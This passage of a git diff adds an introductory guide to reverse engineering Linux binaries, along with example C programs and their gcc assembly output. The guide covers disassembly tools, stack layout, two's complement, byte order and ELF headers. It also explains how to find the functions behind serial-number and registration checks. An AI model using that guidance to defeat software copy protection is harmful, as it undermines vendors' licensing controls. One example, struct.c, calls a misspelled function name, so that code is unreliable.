$16,%esp + incl -4(%ebp) + jmp .L3 + .p2align 4,,7 +.L4: +.L2: + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-O2.s new file mode 100644 index 0000000..6b7c576 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-O2.s @@ -0,0 +1,42 @@ + .file "while.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + pushl %ebp + movl %esp,%ebp + subl $16,%esp + pushl %esi + pushl %ebx + movl 12(%ebp),%esi + xorl %ebx,%ebx + jmp .L18 + .p2align 4,,7 +.L20: + addl $-8,%esp + pushl %ebx + pushl $.LC0 + call printf + incl %ebx + addl $16,%esp +.L18: + addl $-12,%esp + pushl 4(%esi) + call atoi + addl $16,%esp + cmpl %eax,%ebx + jl .L20 + leal -24(%ebp),%esp + popl %ebx + popl %esi + leave + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-full.s new file mode 100644 index 0000000..d4d2f05 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while-full.s @@ -0,0 +1,30 @@ + .file "while.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d\n" +.text + .align 4 +.globl main + .type main,@function +main: + subl $24,%esp + pushl %ebx + xorl %ebx,%ebx + .p2align 4,,7 +.L20: + addl $-8,%esp + pushl %ebx + pushl $.LC0 + call printf + incl %ebx + addl $16,%esp + cmpl $9,%ebx + jle .L20 + popl %ebx + addl $24,%esp + ret +.Lfe1: + .size main,.Lfe1-main + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while.c new file mode 100644 index 0000000..cd96192 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/loops/while.c @@ -0,0 +1,13 @@ +#include + +int main(int argc, char **argv) +{ + int i; + + i = 0; + while(i < 10) + { + printf("%d\n", i); + i++; + } +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/structs/struct.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/structs/struct.c new file mode 100644 index 0000000..24713ed --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/structs/struct.c @@ -0,0 +1,38 @@ +#include + +struct mystruct +{ + int e1; + char e2; + short e3; +}; + +struct mystruct retstruct() +{ + struct mystruct ms; + ms.e1 = 1; + ms.e2 = 2; + ms.e3 = 3; + + return ms; +} + +void passtruct(struct mystruct ms) +{ + ms.e1 = 1; + ms.e2 = 2; + ms.e3 = 3; + + printf("%d, %d, %d\n", ms.e1, ms.e2, ms.e3); +} + +int main(int argc, char **argv) +{ + struct mystruct ms; + + ms = retstruct(); + + passstruct(ms); + + printf("%d %d %d\n", ms.e1, ms.e2, ms.e3); +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/index.html b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/index.html new file mode 100644 index 0000000..9056b19 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/index.html @@ -0,0 +1,603 @@ +Introduction to Reverse Engineering Software in Linux
Table of Contents
1. Introdution
1.1. What is reverse engineering?
1.2. Why reverse engineer?
1.3. Legal issues
2. The Linux Compilation Process
2.1. Intro
2.2. gcc
2.3. gcc -E (Preprocessor Stage)
2.4. gcc -S (Parsing+Translation Stages)
2.5. as (Assembly Stage)
2.6. ld/collect2 (Linking Stage)
3. Gathering Info
3.1. ldd
3.2. nm
3.3. /proc
3.4. netstat
3.5. lsof
3.6. fuser
4. Determining Program Behavior
4.1. strace/truss(Solaris)
4.2. ltrace
4.3. LD_PRELOAD
4.4. gdb
5. Determining Interesting Functions
5.1. Reconstructing function & control information
5.2. Consider the objective
5.3. Finding key functions
5.4. Plotting out program flow
6. Understanding Assembly
6.1. Registers
6.2. The stack
6.3. Two's complement
6.4. Reading Assembly
6.5. Know Your Compiler
7. Writing Standalone Assembly
7.1. Instructions with side-effects
7.2. Opcode Tables
7.3. Using GNU as
7.4. Conventions on saving registers
7.5. Using Library Functions
8. Working with the ELF Program Format
8.1. ELF Layout
8.2. Editing ELF
9. Understanding Copy Protection
10. Code Modification
10.1. Reasons for Code Modification
10.2. Instruction Modification
10.3. Single Instruction Insertion
10.4. Single Function Insertion
10.5. Multiple Function Insertion
10.6. Attacking copy protection
11. Buffer Overflows
11.1. Stack Overflows
11.2. 1-Byte Overflows
11.3. Returning to Libc
11.4. Attacking Countermeasures
11.5. Heap Overflows
11.6. Attacking hard copy protection
12. TODO (Contribute!)
12.1. Write assembly tutorial section
12.2. Create Diagrams & example outputs
12.3. More detail
12.4. Update disasm.pl
12.5. Do this for windows
12.6. Do this for protocols
12.7. Do this for hardware
13. Extra Resources
13.1. ELF Binary Specification
13.2. Other Resources and amusements

1. Introdution

1.2. Why reverse engineer?

Answer: Because you can. Software that exists on your system that you + do not have source code to is usually the most interesting kind of + software. Sometimes you may be looking for security holes, sometimes + you are curious how copy protection works, etc. I don't know about + you, but to me, software that I don't have sourcecode to just pisses me + off. So I figure: screw it, lets do some damage. +

Also, it makes you a better programmer. This book will teach you a + large amount about how your computer works on a low level, and the + better an understanding you have of that, the more efficient programs + you can write in general. +

If you don't know assembly language, + at the end of this book you will literally know it inside-out. While + most first courses and books on assembly language teach you how to use + it as a programming language, you will get to see how to use C as an + assembly language generation tool, and how to look at and think about + assembly as a C program. This puts you at a tremendous advantage over + your peers not only in terms of programming ability, but also in terms + of your ability to figure out how the black box works. In short, + learning this way will naturually make you a better reverse engineer. + +Plus, you will have the fine distinction of being able to answer the question +"Who taught you assembly language?" with "Why, my C compiler, of course!" + +


  Next
  The Linux Compilation Process
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/t1.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/t1.htm new file mode 100644 index 0000000..9056b19 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/t1.htm @@ -0,0 +1,603 @@ +Introduction to Reverse Engineering Software in Linux
Table of Contents
1. Introdution
1.1. What is reverse engineering?
1.2. Why reverse engineer?
1.3. Legal issues
2. The Linux Compilation Process
2.1. Intro
2.2. gcc
2.3. gcc -E (Preprocessor Stage)
2.4. gcc -S (Parsing+Translation Stages)
2.5. as (Assembly Stage)
2.6. ld/collect2 (Linking Stage)
3. Gathering Info
3.1. ldd
3.2. nm
3.3. /proc
3.4. netstat
3.5. lsof
3.6. fuser
4. Determining Program Behavior
4.1. strace/truss(Solaris)
4.2. ltrace
4.3. LD_PRELOAD
4.4. gdb
5. Determining Interesting Functions
5.1. Reconstructing function & control information
5.2. Consider the objective
5.3. Finding key functions
5.4. Plotting out program flow
6. Understanding Assembly
6.1. Registers
6.2. The stack
6.3. Two's complement
6.4. Reading Assembly
6.5. Know Your Compiler
7. Writing Standalone Assembly
7.1. Instructions with side-effects
7.2. Opcode Tables
7.3. Using GNU as
7.4. Conventions on saving registers
7.5. Using Library Functions
8. Working with the ELF Program Format
8.1. ELF Layout
8.2. Editing ELF
9. Understanding Copy Protection
10. Code Modification
10.1. Reasons for Code Modification
10.2. Instruction Modification
10.3. Single Instruction Insertion
10.4. Single Function Insertion
10.5. Multiple Function Insertion
10.6. Attacking copy protection
11. Buffer Overflows
11.1. Stack Overflows
11.2. 1-Byte Overflows
11.3. Returning to Libc
11.4. Attacking Countermeasures
11.5. Heap Overflows
11.6. Attacking hard copy protection
12. TODO (Contribute!)
12.1. Write assembly tutorial section
12.2. Create Diagrams & example outputs
12.3. More detail
12.4. Update disasm.pl
12.5. Do this for windows
12.6. Do this for protocols
12.7. Do this for hardware
13. Extra Resources
13.1. ELF Binary Specification
13.2. Other Resources and amusements

1. Introdution

1.2. Why reverse engineer?

Answer: Because you can. Software that exists on your system that you + do not have source code to is usually the most interesting kind of + software. Sometimes you may be looking for security holes, sometimes + you are curious how copy protection works, etc. I don't know about + you, but to me, software that I don't have sourcecode to just pisses me + off. So I figure: screw it, lets do some damage. +

Also, it makes you a better programmer. This book will teach you a + large amount about how your computer works on a low level, and the + better an understanding you have of that, the more efficient programs + you can write in general. +

If you don't know assembly language, + at the end of this book you will literally know it inside-out. While + most first courses and books on assembly language teach you how to use + it as a programming language, you will get to see how to use C as an + assembly language generation tool, and how to look at and think about + assembly as a C program. This puts you at a tremendous advantage over + your peers not only in terms of programming ability, but also in terms + of your ability to figure out how the black box works. In short, + learning this way will naturually make you a better reverse engineer. + +Plus, you will have the fine distinction of being able to answer the question +"Who taught you assembly language?" with "Why, my C compiler, of course!" + +


  Next
  The Linux Compilation Process
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x125.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x125.htm new file mode 100644 index 0000000..86246e6 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x125.htm @@ -0,0 +1,368 @@ +Determining Interesting Functions

5. Determining Interesting Functions

Clearly without source code, we can't possibly hope to understand all + of sections of an entire program. So we have to use various methods and + guess work to narrow down our search to a couple of key functions. +

5.1. Reconstructing function & control information

The problem is that first, we must determine what portions of the code + are actually functions. This can be difficult without debugging dymbols. + Fortunately, there are a couple of utilities that make our lives easier. +

5.1.2. disasm.pl

Steve Barker wrote a neat little + perl script that makes objdump much more legible in the + event that symbols are not included. The script has since been extended and + improved by myself and Nasko Oskov. It now makes 3 passes through the output. + The first pass builds a symbol table of called and jumped-to locations. + The second pass finds areas between two rets, and inserts them into the symbol + table as "unused" functions. The third pass prints out the nicely labeled + output, and prints out a function call tree. Usage: +

./disasm /path/to/binary > binary.asminfo

There are/will be few command line options to the utility. Now + --graph is supported. It will generate a file called call_graph that + contains defitinition that can be used with a program called dot to + generate visual representation of the call graph. +

Note: Unused functions just mean that that function wasn't called + DIRECTLY. It is still possible that a function was called through a + function pointer (ie, main is called this way) +

5.3. Finding key functions

If we can narrow down our search to just a few functions that are + relevant to our objective, our lives should be much easier. +

5.3.1. Finding main()

Regardless of our objective, it is almost always helpful to know where + main() lies. Unforuntely, when debugging symbols are removed, this is + not always easy. +

In Linux, program execution actually begins at the location defined by + the _start symbol, which is provided by gcc in the crt0 libraries (check + gcc -v for location). Execution then continues to __libc_start_main(), + which calls _init() for each library in the program space. Each _init() then + calls any global constructors you may + have in that particular library. Global constructors can be created by + making global instances of C++ + classes with a constructor, or by specifying + __attribute__((constructor)) after a function prototype. After this, + execution is finally transferred to main. +

The easiest technique is to try to use our friends ltrace and gdb + together with our disassembled output. Checking the return address of + the first few functions of ltrace -i, and cross refrencing that to our + assembly output and function call tree should give us a pretty good idea + where main is. We may have to try to trick the program into exiting + early, or printout out an error message before it gets too deep into its + call stack. +

Other techniques exist. For example, we can LD_PRELOAD a .c file with a + constructor function in it. We can then set a breakpoint to a libc + function that it calls that is also in the main executable, and + finish and stepi + until we are satisfied that we have found main. +

Even better, we could just set a breakpoint in the function + __libc_start_main (which is a libc function, and thus we will always + have a symbol for it), and do the same technique of finishing and + stepiing until we reach what looks like main to us. +

At worst, even without a frame pointer, we should be able to get the + address of a function early enough in the execution chain for us to + consider it to be main. +

5.3.2. Finding other interesting functions

Its probably a good idea to make a list of all functions that call exit. + These may be of use to us. + Other techniques for tracking down interesting functions include: +

  1. Checking for which functions call obscure gui construction + widgets used in a dialog box asking for a product serial number +

  2. Checking the string references to find out which + functions reference strings that we are interested in. For + example, if a program outputs the text "Already registered." + knowing what function outputs this string is helpful in figuring + out the protection this particular program uses. +

  3. Running a program in gdb, then hitting control C when it begins + to perform some interesting operation. using stepi N should slow things + down and allow you to be more accurate. Sometimes this is too slow + however. Find a commonly called function, set a breakpoint, and try + doing cont N.

  4. Checking which functions call functions in the BSD socket layer +

+


PrevHomeNext
Determining Program Behavior Understanding Assembly
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x177.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x177.htm new file mode 100644 index 0000000..f789a63 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x177.htm @@ -0,0 +1,1313 @@ +Understanding Assembly

6. Understanding Assembly

Since the output of all of these tools is in AT&T syntax, those of you + who know Intel/MASM syntax have a bit of + re-learning to + do. +

Assembly language is one step closer to the hardware than high level + languages like C and C++. So to understand assembly, you have to + understand how the hardware works. Lets start with a set of memory + locations known as the CPU registers. +

6.1. Registers

Registers are like the local variables of the CPU, except there are a + fixed number of them. For the ix86 CPU, there are only 4 main registers + for doing integer calculations: A, B, C, and D. Each of these 4 + registers can be accessed 4 different ways: as a 32 bit value (%eax), + as a 16 bit value (%ax), and as a low and a high 8 bit value + (%al and %ah). There are five more registers that you will see used + occasionally - namely SI, DI, SP and BP. SI and DI are around + from the DOS days when people used 64k segmented addressing, and as it + turns out, may be used as integer like normal registers now. SP and BP + are two special registers used to handle an area of memory called the + stack. There is one last register, the instruction pointer IP that you + may not modify directly, but is changed through jmps and calls. Its + value is the address of the currently executing instruction. (FIXME: + Check this) +

Note: If gcc was called with the -fomit-frame-pointer, the BP register + is freed up to be used as an extra integer register. +

6.2. The stack

6.2.2. What is THE stack?

The stack is a region of memory that is present throughout the entire + lifetime of a program. It is where local variables are stored, and it is + also how function call arguments are passed. +

On all modern computers, the stack is said to grow down, that is, as + elements are pushed on to it, the SP register is decremented by the size + of the element pushed. From our earlier analogy, its as if the stack of + plates where hung from the ceiling, new plates were inserted at the + bottom, and the whole stack some sort of catch to stop + them all from dumping out. That catch would be the SP register. +

So the stack starts from a high memory address, + and works down to a lower address. This is because another section of + memory called the heap grows up, and its handy to have the two of them + grow towards eachother to fill in a single empty hole in the program + address space. +

Note: It is easy to become confused when dealing with the + stack. Remember that while it may grow down, variables are still + addressed sequentially upwards. So an array of char b[4] at esp of 80 + will have b[0] at 80 (right at the stack pointer), b[1] above that at + 81, b[2] at 82, and b[3] at 83, which is where the stack pointer was + before the push. The next push will then place the stack pointer at 76. +

6.2.4. How gcc works with the stack

Right before a function is called, its arguments are pushed onto the stack in + reverse order. Then the call instruction pushes the address of the next + instruction (ie the value of IP after call) onto + the stack, and then the CPU begins executing + the address of the call by copying that value into the invisible + instruction pointer (IP) register. +

The called function then starts with what is known as the function + prolog, which pushes the current base pointer onto the stack, and then + copies the current stack pointer to the base pointer, and then subtracts + from SP enough space to hold all local variables (and then some!). +The base pointer is then used to reference variables and paramaters during +function execution, since its value is not affected by pushes and pops. Thus, +paramaters all have fixed positive offsets from the BP, where as local +variables all have fixed negative offsets from the BP. +

At the end of function execution, the base pointer is copied to the stack + pointer during ret, and the return address is popped off the stack and + placed into the invisible IP register to return to the caller function. +

Note: Unless -fomit-frame-pointer is specified, gcc always generates code that + references local variables by negative offsets from the BP instead of + positive offsets from the SP. +

6.3. Two's complement

6.3.2. Conversion

There are several ways to convert any unsigned binary number into signed + two's complement form. + The most intuitive and easy to remember is the following + Complement each bit of the number and add one. Let's find how -13 is + represented, so we convert it into its binary form: +


0000 1101
+
+Then invert all the bits.
+1111 0010
+
+Now add one to it.
+1111 0011
+
+So 1111 0011 is -13 in two's complement.
+        
+ Second method is to complement all the bits to the left of the rightmost + 1 bit, but not including it (but not the rightmost bit, for example 0001 + 0100). It sounds a bit complicated, but is easier + once you figure out how it is done. Let's get back to the example of -13. +

0000 1101
+        ^
+Invert the bits to the left of the rightmost one.
+1111 0011
+        
+ There you go. We get the number without second step of adding one. It can + be proven why this method works, but we are not in class. + + Yet a third method is to subtract the number from + 2n. Here is how it works. +

 1000 0000
+-
+ 0000 1101
+ ---------
+ 1111 0011
+        
+ There may be other ways of doing it, but if you master those, you will + not need to remember any more. + To convert a negative number in two's complement, you apply the exact + same procedure as described and you get back the positive value for the + number. +

6.3.3. From reverse engineering angle

Now that we know what two's complement is let's look at some examples of + this type of representation in reverse engineering process. Using one of + the tools discussed earlier, objdump and the wrapper disasm.pl, let's + look at the ls command binary. If you look at function7 (which starts at + address 80495a8), lines like the following appear frequently: +


 80495be:       83 c4 f8                add    $0xfffffff8,%esp
+        
+ What does this instruction do? It just adds some constant to the stack + pointer register (%esp). There are two ways you can look at this + constant. It is either a huge unsigned number or two's complement + negative number. Since we just add to the stack pointer, it does not + make sense to be big number, so let's find what is the value of this + number. +

  f    f    f    f    f    f    f    8
+1111 1111 1111 1111 1111 1111 1111 1000
+
+0000 0000 0000 0000 0000 0000 0000 1000
+  0    0    0    0    0    0    0    8
+        
+ Now we can see that this is just the negative of 0x00000008 or just + plain -8 in decimal. If you think about this, what this line does is + decrement the stack pointer by 8 bytes (allocate more space). +

6.3.4. Byte Ordering

Why this section? One simple reason - different platforms use different + byte ordering. There are two different orderings - little endian and big + endian. Some of you are may be what byte ordering actually is? + Byte ordering refers to the physical layout of data in memory. When a + data structure or data type is represented by more than one byte, the + ordering of bytes matter. For example if we consider a long (4 bytes) let's label + the least significant byte 0 and the most significant one 3. If we are on little + endian machine the long will be represented in memory like this (yeah, some + machines do not allow addressable bytes, but let's forget about this): + + 0x040 0 + 0x041 1 + 0x042 2 + 0x043 3 + + On a big endian machine on the other hand, the long will be layed out + like that: + + 0x040 3 + 0x041 2 + 0x042 1 + 0x043 0 + + Now let's look at an example. The easiest way to see the difference in + byte ordering is to look at how string is stored in memory on different + architectures. Here is an example program that will demontrate it. +


#include <stdio.h>
+
+
+int main() {
+
+        char* test = "this is a string";
+
+        printf("%s\n", test);
+}
+
+ We compiled it and here is the output of two different ways of + disassembling it first on Solaris machine (Linux xxxxxx 2.4.16 #1 + Tue Dec 11 01:57:19 EST 2001 sparc64 unknown): + + objdump +

     11850:       74 68 69 73     call  d1a2be1c <_end+0xd1a0a394>
+     11854:       20 69 73 20     unknown
+     11858:       61 20 73 74     call  8482e628 <_end+0x8480cba0>
+     1185c:       72 69 6e 67     call  c9a6d1f8 <_end+0xc9a4b770>
+     11860:       00 00 00 00     unimp  0
+
+ + gdb +

     0x11850 <_IO_stdin_used+8>:     0x74686973      0x20697320      0x61207374  0x72696e67
+
+ + Now let's look at how the memory itself is organized and how the string + is represented: +
     
+Address         Code    Letter
+--------------------------
+0x11850         74      t
+0x11851         68      h
+0x11852         69      i
+0x11853         73      s
+
+0x11854         20
+0x11855         69      i
+0x11856         73      s
+0x11857         20
+
+0x11858         61      a
+0x11859         20
+0x1185a         73      s
+0x1185b         74      t
+
+0x1185c         72      r
+0x1185d         69      i
+0x1185e         6e      n
+0x1185f         67      g
+
+0x11860         00
+
+ + And if we do the same on Intel machine (Linux xxxxxx 2.4.17 #17 Thu Jan + 31 23:34:35 CST 2002 i686 unknown) this is what we get: +

Address         Code    Letter
+--------------------------
+0x8048420       73         s
+0x8048421       69         i
+0x8048422       68         h
+0x8048423       74         t
+
+0x8048424       20
+0x8048425       73         s
+0x8048426       69         i
+0x8048427       20
+
+0x8048428       74         t
+0x8048429       73         s
+0x804842a       20
+0x804842b       61         a
+
+0x804842c       67         g
+0x804842d       6e         n
+0x804842e       69         i
+0x804842f       72         r
+
+ + At first glance of the x86 architecture you may miss that this actually + is the string we are looking for. + + This is the difference in byte ordering. In order for different hosts on + the same nettwork to be able to communicate and the exchanged data to make + sense, they agree on common byte ordering. In modern networking the data is + transmitted in big endian byte ordering i.e. most significant byte comes + first. + + On the i80x86 the host byte order is Least Significant Byte first, + whereas the network byte order, as used on the Internet, is Most Significant Byte + first. + +

6.4. Reading Assembly

6.5. Know Your Compiler

In order to learn to read assembly effectively, you really have to know + what type of code your compiler likes to generate in certain situations. + If you learn to recognize what a while loop, a for loop, an if-else + statement all look like in assembly, you can learn to get a general feel + for code more quickly. There are also a few tricks that GCC performs that + may seem unintuitive at first to the neophyte reverse engineer, even if + they already know how to forward-engineer in assembly. +

6.5.1. Basic Control Structures

In assembly, the only flow control mechanisms are branching and + calling. So every control structure is built up from a combination of + goto's and conditional branches. Lets look at some specific examples. +

6.5.1.1. Function Calls

So we've mentioned that function calls use the stack to pass arguments. + But where does that leave return values? And what about local variables? +

Local variables are also on the stack, just below the base pointer +instead of above. But if you thought that a return value was a pop off of the +stack, you were wrong! GCC places the return value of a particular function + into the eax register at the end + of that function. Upon calling a function with a return value, it knows + to copy the eax register into whatever variable will store that return + value. +

So lets see some gcc output for function calls. Get your paper + ready, we're going to need to draw our stack and register table to + follow these. Yeah yeah, it seems like a hassle, and you're sure you + can do without it. We know, we know. But humor us. If you at least + practice the methodical way a few times, doing things in your head + will become easier later. +

Example .c file and gcc output + with no optimization, with + -O2, and with + -O3 -fomit-frame-pointer To get the most out of these examples, start at main, and trace execution throughout the executable. Do the low optimization first, and then move up to higher levels. The comments assume you are progressing in that order. FIXME: We may want to split these out into several simpler example files, to avoid overwhelming people all at once. +

6.5.2. Arrays

6.5.2.1. Arrays on the stack

Arrays on the stack are just memory regions that we access with +variations on the disp(%base, %index, scale) idea presented earlier. So lets +start with a warm-up consisting of a simple char array where we let libc do +all the work. +

Example .c file and gcc output + with no optimization, with + -O2, and with + -O3 -fomit-frame-pointer +

+ So lets do another example where we do all the work. One dimensional arrays are the easiest, as they are simply a chunk of memory that +is the number of elements times the size of each element. +

Example .c file and gcc output + with no optimization, with + -O2, and with + -O3 -fomit-frame-pointer +

Two dimensional arrays are actually just an abstraction that makes +working with memory easier in C. A 2D array on the stack is just one long 1D +array that the C compiler divides for us to make it managable. To paramaterize +things, an array declared as: type array[dim2][dim1]; is really a 1D array of +length dim2*dim1*type. The C compiler handles array indexing as follows: +array[i][j] is the memory location array + i*dim1*type + j*type. So it divides +our 1D array into dim2 sections, each dim1*type long. +

FIXME: Graphics to illustrate this. +

Example .c file and gcc output + with no optimization, with + -O2, and with + -O3 -fomit-frame-pointer +

As I tell my introductory computer science students, the best way to +think of higher dimensional arrays is to think of a set of arrays of the next +lower dimension. So the best way to think about how a 3D array can be jammed +into a 1D array is to think about how a set of 2D arrays would be jammed into +a 1D array: one right after another. So for array declared as type +array[dim3][dim2][dim1];, array[i][j][k] means array + +i*dim2*dim1*type + j*dim1*type + k*type. So this means just by looking at the +assembly multiplications of the indexing variables, we should be able to +determine n-1 dimensions of any n dimensional array. The remaining dimention +can be determined from the total size, or the bounds of some initialization +loop. +

FIXME: Diagram/graphics to show this +

Example .c file and gcc output + with no optimization, with + -O2, and with + -O3 -fomit-frame-pointer +

6.5.3. Structs

6.5.3.1. Using structs

Structures (structs) are a convenient way of managing related + variables without having to write a class to encapsulate all of them. A + structure is essentially a class without any member functions. + Structures are used VERY often in C in order to avoid + passing several variables back and forth between functions. Instead of + passing all the variables, a common practice is to encapsulate all of + them in a struct and just pass the location of the struct in memory to + the function that needs access to those variables. + Structures in C++ are declared like this:


      struct a
+      {
+         int first;
+         float second;
+         char *third;
+      };
+     

Don't forget that ; after the last brace. Structs can store any + type of variable that you would normally be + able to declare anywhere in your program. To access a variable in a + struct you use the dot (.) operator. For example, to assign 5 to the + variable first in the struct a, do


     a.first = 5;
+     

6.5.3.4. Returning structs

GCC handles structs a bit oddly. When you have a function that returns a + struct, what gcc does is actually push the address of the struct onto + the stack just before calling the function (as if the first argument to + the function was a pointer to the struct that will contain the return i + value). + Then, inside the function, code is generated to modify the struct + through this address. At the end of the function, the value of %eax + contains a pointer to the struct that was passed on to the stack. So + instead of the normal convention of having %eax store the return value, + %eax stores a pointer to the return value, and the return value is + modified directly inside of the function. +

Example .c file and gcc output + with no optimization, with + -O2, and with + -O3 -fomit-frame-pointer +


PrevHomeNext
Determining Interesting Functions Writing Standalone Assembly
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x24.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x24.htm new file mode 100644 index 0000000..62c3a61 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x24.htm @@ -0,0 +1,234 @@ +The Linux Compilation Process

2. The Linux Compilation Process

2.4. gcc -S (Parsing+Translation Stages)

gcc -S will take .c files as input and output .s assembly files in + AT&T syntax. +

gcc can be called with various optimization options that can do + interesting things to the outputted assembly code. There are between 4 + and 7 general optimization classes that can be specified with a -ON, + where 0 <= N <= 6. 0 is no optimization (default), and 6 is maximum. +

There are also several fine-grained assembly options that are specified + with the -f flag. The most interesting are -funroll-loops, + -finline-functions, and -fomit-frame-pointer. Loop unrolling means to + expand a loop out so that there are n copies of the code for n + iterations of the loop (ie no jmp statements to the top of the loop). + On modern + processors, this optimization is negligible. Inlining functions means to + effectively convert all functions in a file to macros, and place copies + of their code directly in line in the calling function (like the + C++ inline keyword). This only applies for functions called in the same + C file as their definition. It is also a relatively small optimization. + Omitting the frame pointer (aka the base pointer) frees up an extra register for use in your + program. If you have more than 4 heavily used local variables, this may + be rather large advantage, otherwise it is just a nuisance (and makes + debugging much more difficult). +

Since some of these get turned on by default in the higher optimization + classes, it is useful to know that despite the fact that the manual page + does not mention it explicitly, all of the -f options have -fno + equivalents. So -fnoinline-functions prevents function inlining, + regardless of the -O option. (I think it happens at -O3 by default). +


PrevHomeNext
 Gathering Info
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x407.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x407.htm new file mode 100644 index 0000000..8c51276 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x407.htm @@ -0,0 +1,209 @@ +Writing Standalone Assembly

7. Writing Standalone Assembly

TODO: Eventually write our own tutorial. These are + incomplete.

7.2. Opcode Tables

So in order to write assembly, we have to know the instructions + available. This table provides a list of the most common integer assembly + functions. Another table can be found here. It contains more instructions, but less description of + operand types. Be mindful that both of these tables are in NASM syntax, + where as GNU AS uses AT&T syntax. +

7.3. Using GNU as

The GNU Assembler manual describes how to use GNU as to declare + symbols, variables, data, and use other features of as.

Also, we've already linked this tutorial but decided to place it here + for completeness.


PrevHomeNext
Understanding Assembly Working with the ELF Program Format
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x430.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x430.htm new file mode 100644 index 0000000..7d7afe8 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x430.htm @@ -0,0 +1,333 @@ +Working with the ELF Program Format

8. Working with the ELF Program Format

So at this point we now know how to write our programs on an extremely + low level, and thus produce an executable file that very closely matches + what we want. But the question is, how is our program code now actually + stored on disk?

Well, recall that when a program runs, we start at the _start function, + and move on from there to __libc_start_main, and eventually to main, which + is our code. So somehow the operating system is gathering together a whole + lot of code from various places, and loading it into memory and then + running it. How does it know what code goes where?

The answer on Linux and UNIX is the ELF binary specification. ELF specifies a standard format for + mapping your code on disk to a complete executable image in + memory that consists of your code, a stack, a heap (for malloc), and all + the libraries you link against.

So lets provide an overview of the information needed for our purposes + here, and refer the user to the ELF spec to fill in the details if they + wish. We'll start from the beginning of a typical executable and work our + way down.

8.1. ELF Layout

There are three header areas in an ELF file: The main ELF file header, + the program headers, and then the section headers. The program code lies + inbetween the program headers and the section headers.

TODO: Insert figure here to show a typical ELF layout.

NOTE: ELF is extremely flexible. Many of these sections can be shunk, + expanded, removed, etc. In fact, it is not outside the realm of + possibility that some programs may deliberately make abnormal, yet valid + ELF headers and files to try to make reverse engineering difficult + (vmware does this, for example).

8.1.1. The Main ELF File Header

The main elf header basically tells us where everything is located in + the file. It comes at the very beginning of the executable, and can be + read directly from the first e_ehsize (default: 52) bytes of the file + into this structure.


/* ELF File Header */
+typedef struct
+{
+  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
+  Elf32_Half    e_type;                 /* Object file type */
+  Elf32_Half    e_machine;              /* Architecture */
+  Elf32_Word    e_version;              /* Object file version */
+  Elf32_Addr    e_entry;                /* Entry point virtual address */
+  Elf32_Off     e_phoff;                /* Program header table file offset */
+  Elf32_Off     e_shoff;                /* Section header table file offset */
+  Elf32_Word    e_flags;                /* Processor-specific flags */
+  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
+  Elf32_Half    e_phentsize;            /* Program header table entry size */
+  Elf32_Half    e_phnum;                /* Program header table entry count */
+  Elf32_Half    e_shentsize;            /* Section header table entry size */
+  Elf32_Half    e_shnum;                /* Section header table entry count */
+  Elf32_Half    e_shstrndx;             /* Section header string table index */
+} Elf32_Ehdr;
+

The fields of interest to us are e_entry, e_phoff, e_shoff, and the + sizes given. e_entry specifies the location of _start, e_phoff shows us + where the array of program headers lies in relation to the start of the + executable, and e_shoff shows us the same + for the section headers.

8.1.2. The Program Headers

The next portion of the program are the ELF program headers. These + describe the sections of the program that contain executable program + code to get mapped into the program address space as it loads.


/* Program segment header.  */
+
+typedef struct
+{
+  Elf32_Word    p_type;                 /* Segment type */
+  Elf32_Off     p_offset;               /* Segment file offset */
+  Elf32_Addr    p_vaddr;                /* Segment virtual address */
+  Elf32_Addr    p_paddr;                /* Segment physical address */
